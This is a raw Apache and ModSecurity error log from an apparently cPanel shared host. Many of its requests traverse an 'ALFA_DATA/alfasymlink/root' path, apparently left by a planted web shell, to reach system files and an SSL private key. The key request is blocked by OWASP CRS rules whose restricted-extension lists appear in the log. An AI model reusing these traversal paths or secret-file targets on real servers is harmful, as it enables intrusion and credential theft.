[Mon Oct 26 00:23:54.238609 2026] [ssl:error] [pid 2961898:tid 2961898] (70014)End of file found: [client 184.72.84.154:57073] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:23:58.128011 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 44.205.74.196:57174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:24:03.629310 2026] [security2:error] [pid 2961884:tid 2961884] [client 107.172.76.131:50981] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7V12-vOSxyH8uS5IpncAAAAA0"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:24:03.629383 2026] [security2:error] [pid 2961884:tid 2961884] [client 107.172.76.131:50981] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7V12-vOSxyH8uS5IpncAAAAA0"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:24:06.139652 2026] [ssl:error] [pid 2961631:tid 2961631] (70014)End of file found: [client 3.231.193.38:44334] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:24:18.127728 2026] [ssl:error] [pid 2961899:tid 2961899] (70014)End of file found: [client 44.214.19.8:6773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:24:26.121032 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.45.194.165:62540] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:24:30.293340 2026] [ssl:error] [pid 2961885:tid 2961885] (70014)End of file found: [client 184.72.95.195:25498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:24:38.121892 2026] [ssl:error] [pid 2961899:tid 2961899] (5)Input/output error: [client 98.84.200.43:57137] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:24:38.403593 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 85.208.96.203:65518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objects_partial
[Mon Oct 26 00:24:46.705589 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 54.91.122.193:24242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/shpchp/bind
[Mon Oct 26 00:24:54.126939 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 23.21.179.120:35344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:25:06.171832 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 44.215.210.112:26163] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:25:18.123666 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.204.253.129:10838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:25:22.140398 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 3.210.29.96:8433] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:25:34.335233 2026] [ssl:error] [pid 2949650:tid 2949650] (5)Input/output error: [client 52.203.152.231:48534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:25:38.176127 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 98.84.70.201:16076] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:25:50.219418 2026] [security2:error] [pid 2943087:tid 2943087] [client 52.70.209.13:26112] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory9/subsystem/devices/memory11/"] [unique_id "at7WTgSn5HKIYfqg0eAlKAAAADc"]
[Mon Oct 26 00:25:50.219489 2026] [security2:error] [pid 2943087:tid 2943087] [client 52.70.209.13:26112] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory9/subsystem/devices/memory11/"] [unique_id "at7WTgSn5HKIYfqg0eAlKAAAADc"]
[Mon Oct 26 00:25:51.438641 2026] [authz_core:error] [pid 2961631:tid 2961631] [client 52.231.25.234:9927] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 00:25:51.809863 2026] [security2:error] [pid 2961631:tid 2961631] [client 52.231.25.234:9927] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/inputs.php"] [unique_id "at7WT4geiwPt90L5vmb0JQAAAAc"]
[Mon Oct 26 00:25:51.809938 2026] [security2:error] [pid 2961631:tid 2961631] [client 52.231.25.234:9927] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/inputs.php"] [unique_id "at7WT4geiwPt90L5vmb0JQAAAAc"]
[Mon Oct 26 00:25:54.786567 2026] [security2:error] [pid 2961631:tid 2961631] [client 52.231.25.234:9927] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-login.php"] [unique_id "at7WUogeiwPt90L5vmb0NQAAAAc"]
[Mon Oct 26 00:25:54.786627 2026] [security2:error] [pid 2961631:tid 2961631] [client 52.231.25.234:9927] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/wp-login.php"] [unique_id "at7WUogeiwPt90L5vmb0NQAAAAc"]
[Mon Oct 26 00:25:58.715048 2026] [cgi:error] [pid 2961631:tid 2961631] [client 52.231.25.234:9927] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 00:26:02.256268 2026] [core:error] [pid 2954190:tid 2954190] (13)Permission denied: [client 18.208.11.93:40916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/subsystem/devices/memory8/subsystem/drivers_probe
[Mon Oct 26 00:26:10.149112 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 100.28.133.214:42264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:26:18.150414 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 52.201.155.215:45841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:26:26.345025 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.3.104.214:63879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:26:30.202298 2026] [ssl:error] [pid 2961899:tid 2961899] (70014)End of file found: [client 52.205.222.214:36133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:26:34.245712 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 3.225.45.252:33703] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/bind
[Mon Oct 26 00:26:38.130950 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 107.22.208.39:64778] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:26:49.027130 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 185.191.171.6:50776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_node/aliases
[Mon Oct 26 00:26:50.174843 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 100.29.63.24:52974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:26:56.474018 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 185.191.171.16:63860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/total_objects
[Mon Oct 26 00:27:02.144502 2026] [ssl:error] [pid 2955279:tid 2955279] (70014)End of file found: [client 50.19.79.213:19080] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:27:14.288913 2026] [ssl:error] [pid 2961912:tid 2961912] (70014)End of file found: [client 34.231.77.232:39763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:27:38.417427 2026] [ssl:error] [pid 2961898:tid 2961898] (70014)End of file found: [client 35.169.102.85:6023] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:27:39.307148 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 85.208.96.201:38280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:27:42.240902 2026] [ssl:error] [pid 2961912:tid 2961912] (70014)End of file found: [client 34.202.88.37:61350] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:27:46.323542 2026] [ssl:error] [pid 2961913:tid 2961913] (70014)End of file found: [client 3.225.9.97:32903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:27:46.387993 2026] [security2:error] [pid 2961902:tid 2961902] [client 185.191.171.3:51124] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5c23_77f21_65ed03b8eb47413242d1faf05ee78720.key"] [unique_id "at7WwqNncdtu7DBDOKsB_QAAABs"]
[Mon Oct 26 00:27:46.388644 2026] [security2:error] [pid 2961902:tid 2961902] [client 185.191.171.3:51124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5c23_77f21_65ed03b8eb47413242d1faf05ee78720.key"] [unique_id "at7WwqNncdtu7DBDOKsB_QAAABs"]
[Mon Oct 26 00:27:46.389122 2026] [security2:error] [pid 2961902:tid 2961902] [client 185.191.171.3:51124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5c23_77f21_65ed03b8eb47413242d1faf05ee78720.key"] [unique_id "at7WwqNncdtu7DBDOKsB_QAAABs"]
[Mon Oct 26 00:27:48.215211 2026] [ssl:error] [pid 2961911:tid 2961911] (70014)End of file found: [client 185.191.171.6:37662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:28:00.110243 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 3.220.70.171:6795] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:28:02.519940 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 54.90.8.255:10226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:28:06.421794 2026] [ssl:error] [pid 2961899:tid 2961899] (70014)End of file found: [client 52.3.102.51:29003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:28:22.441145 2026] [core:error] [pid 2961912:tid 2961912] (13)Permission denied: [client 98.83.10.183:57804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:06/physical_node/subsystem/drivers_probe
[Mon Oct 26 00:28:24.470079 2026] [security2:error] [pid 2961902:tid 2961902] [client 43.130.106.18:35738] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at7W6KNncdtu7DBDOKsB_wAAABs"]
[Mon Oct 26 00:28:30.271269 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 34.225.243.131:32482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:28:32.752343 2026] [core:error] [pid 2961908:tid 2961908] (13)Permission denied: [client 185.191.171.4:21084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/slabs_cpu_partial
[Mon Oct 26 00:28:34.346152 2026] [ssl:error] [pid 2961912:tid 2961912] (70014)End of file found: [client 44.195.50.71:15708] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:28:50.320421 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 44.193.102.198:21546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:28:54.360793 2026] [ssl:error] [pid 2961908:tid 2961908] (70014)End of file found: [client 3.220.148.166:19448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:29:04.014223 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 85.208.96.207:22190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/order
[Mon Oct 26 00:29:15.214860 2026] [core:error] [pid 2961913:tid 2961913] (13)Permission denied: [client 85.208.96.195:25276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/cpu_partial
[Mon Oct 26 00:29:18.488594 2026] [ssl:error] [pid 2961912:tid 2961912] (70014)End of file found: [client 54.225.181.161:45218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:29:26.302839 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.213.85.234:43888] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:29:30.449394 2026] [ssl:error] [pid 2961921:tid 2961921] (70014)End of file found: [client 52.204.71.8:25179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:29:44.732455 2026] [core:error] [pid 2961898:tid 2961898] (13)Permission denied: [client 185.191.171.7:33990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/outgoing_mail_suspended_users
[Mon Oct 26 00:29:46.454859 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 52.3.155.146:34321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:29:58.374013 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 54.209.100.30:34822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:30:02.322256 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.84.102.81:49331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:30:10.556975 2026] [ssl:error] [pid 2961913:tid 2961913] (22)Invalid argument: [client 52.45.77.169:12106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:30:14.338552 2026] [ssl:error] [pid 2961912:tid 2961912] (70014)End of file found: [client 98.83.94.113:47099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:30:18.400597 2026] [ssl:error] [pid 2961898:tid 2961898] (70014)End of file found: [client 3.227.180.70:43726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:30:23.543803 2026] [core:error] [pid 2949651:tid 2949651] (13)Permission denied: [client 216.244.66.250:52962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/userips
[Mon Oct 26 00:30:26.543388 2026] [security2:error] [pid 2948938:tid 2948938] [client 34.231.118.144:45545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/iprdump.service"] [unique_id "at7XYlN_bUq_OQDpNPOn3gAAAAo"]
[Mon Oct 26 00:30:26.543430 2026] [security2:error] [pid 2948938:tid 2948938] [client 34.231.118.144:45545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/iprdump.service"] [unique_id "at7XYlN_bUq_OQDpNPOn3gAAAAo"]
[Mon Oct 26 00:30:30.329206 2026] [ssl:error] [pid 2961913:tid 2961913] (70014)End of file found: [client 3.225.9.97:53517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:30:38.531245 2026] [ssl:error] [pid 2961899:tid 2961899] (70014)End of file found: [client 35.170.205.140:9026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:30:42.340319 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 54.84.93.8:31163] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/close_delay
[Mon Oct 26 00:30:46.347312 2026] [core:error] [pid 2961913:tid 2961913] (13)Permission denied: [client 3.89.170.186:51614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory18/node0/memory5/subsystem/drivers_probe
[Mon Oct 26 00:30:58.511774 2026] [ssl:error] [pid 2961883:tid 2961883] (70014)End of file found: [client 54.235.191.179:14423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:31:07.047990 2026] [ssl:error] [pid 2961886:tid 2961886] (70014)End of file found: [client 3.89.176.255:52157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:31:14.754815 2026] [ssl:error] [pid 2963377:tid 2963377] (70014)End of file found: [client 35.173.18.61:47639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:31:22.689082 2026] [ssl:error] [pid 2961884:tid 2961884] (70014)End of file found: [client 35.172.125.172:44336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:31:30.511070 2026] [ssl:error] [pid 2961911:tid 2961911] (70014)End of file found: [client 44.195.50.71:35096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:31:38.622697 2026] [core:error] [pid 2961902:tid 2961902] (13)Permission denied: [client 54.144.185.255:28845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:07/subsystem/drivers/hardware_error_device/unbind
[Mon Oct 26 00:31:42.503461 2026] [ssl:error] [pid 2963377:tid 2963377] (70014)End of file found: [client 54.167.32.123:47843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:31:42.700956 2026] [core:error] [pid 2961886:tid 2961886] (13)Permission denied: [client 185.191.171.18:14648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/object_size
[Mon Oct 26 00:31:46.356193 2026] [core:error] [pid 2963400:tid 2963400] (13)Permission denied: [client 44.221.105.234:39526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource2
[Mon Oct 26 00:31:54.407961 2026] [ssl:error] [pid 2961886:tid 2961886] (70014)End of file found: [client 107.20.255.194:14572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:31:58.381814 2026] [ssl:error] [pid 2963377:tid 2963377] (70014)End of file found: [client 98.82.40.168:9536] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:32:06.648869 2026] [core:error] [pid 2961911:tid 2961911] (13)Permission denied: [client 44.205.180.155:2284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/ac/uevent
[Mon Oct 26 00:32:18.468587 2026] [ssl:error] [pid 2961885:tid 2961885] (70014)End of file found: [client 100.28.44.58:17859] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:32:22.583271 2026] [core:error] [pid 2961911:tid 2961911] (13)Permission denied: [client 98.82.66.172:6565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/bind
[Mon Oct 26 00:32:30.542298 2026] [ssl:error] [pid 2961913:tid 2961913] (70014)End of file found: [client 44.220.2.97:51198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:32:34.480974 2026] [ssl:error] [pid 2961885:tid 2961885] (70014)End of file found: [client 54.204.62.163:7446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:32:42.395539 2026] [ssl:error] [pid 2961917:tid 2961917] (70014)End of file found: [client 3.93.211.16:19513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:32:54.664041 2026] [ssl:error] [pid 2961885:tid 2961885] (70014)End of file found: [client 54.144.185.255:18584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:32:58.458885 2026] [ssl:error] [pid 2961911:tid 2961911] (70014)End of file found: [client 3.226.34.98:12717] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:02.612645 2026] [ssl:error] [pid 2963377:tid 2963377] (5)Input/output error: [client 3.216.227.216:44667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:14.534903 2026] [ssl:error] [pid 2963377:tid 2963377] (70014)End of file found: [client 23.21.204.95:6133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:20.120425 2026] [security2:error] [pid 2950561:tid 2950561] [client 107.172.76.131:51039] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7YBCpqvgiisxqwl5wUewAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:33:20.120503 2026] [security2:error] [pid 2950561:tid 2950561] [client 107.172.76.131:51039] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7YBCpqvgiisxqwl5wUewAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:33:22.432749 2026] [ssl:error] [pid 2961886:tid 2961886] (70014)End of file found: [client 52.204.71.8:22481] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:30.427456 2026] [ssl:error] [pid 2963377:tid 2963377] (70014)End of file found: [client 44.221.105.234:31060] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:34.460901 2026] [ssl:error] [pid 2961908:tid 2961908] (70014)End of file found: [client 34.196.237.236:2192] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:38.598139 2026] [core:error] [pid 2963400:tid 2963400] (13)Permission denied: [client 52.3.156.186:26341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/module/drm/uevent
[Mon Oct 26 00:33:42.550244 2026] [ssl:error] [pid 2961886:tid 2961886] (70014)End of file found: [client 3.94.40.182:55488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:45.821130 2026] [core:error] [pid 2961902:tid 2961902] (13)Permission denied: [client 85.208.96.199:55522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__jump_table
[Mon Oct 26 00:33:46.578637 2026] [ssl:error] [pid 2961911:tid 2961911] (70014)End of file found: [client 54.83.23.103:49759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:53.244241 2026] [authz_core:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 00:33:54.707218 2026] [ssl:error] [pid 2961883:tid 2961883] (5)Input/output error: [client 35.153.86.200:24498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:33:56.391910 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at7YNFQkxmE60qPo5GrphQAAAAE"]
[Mon Oct 26 00:33:56.392443 2026] [security2:error] [pid 2963400:tid 2963400] [client 34.80.157.212:46964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at7YNFQkxmE60qPo5GrphQAAAAE"]
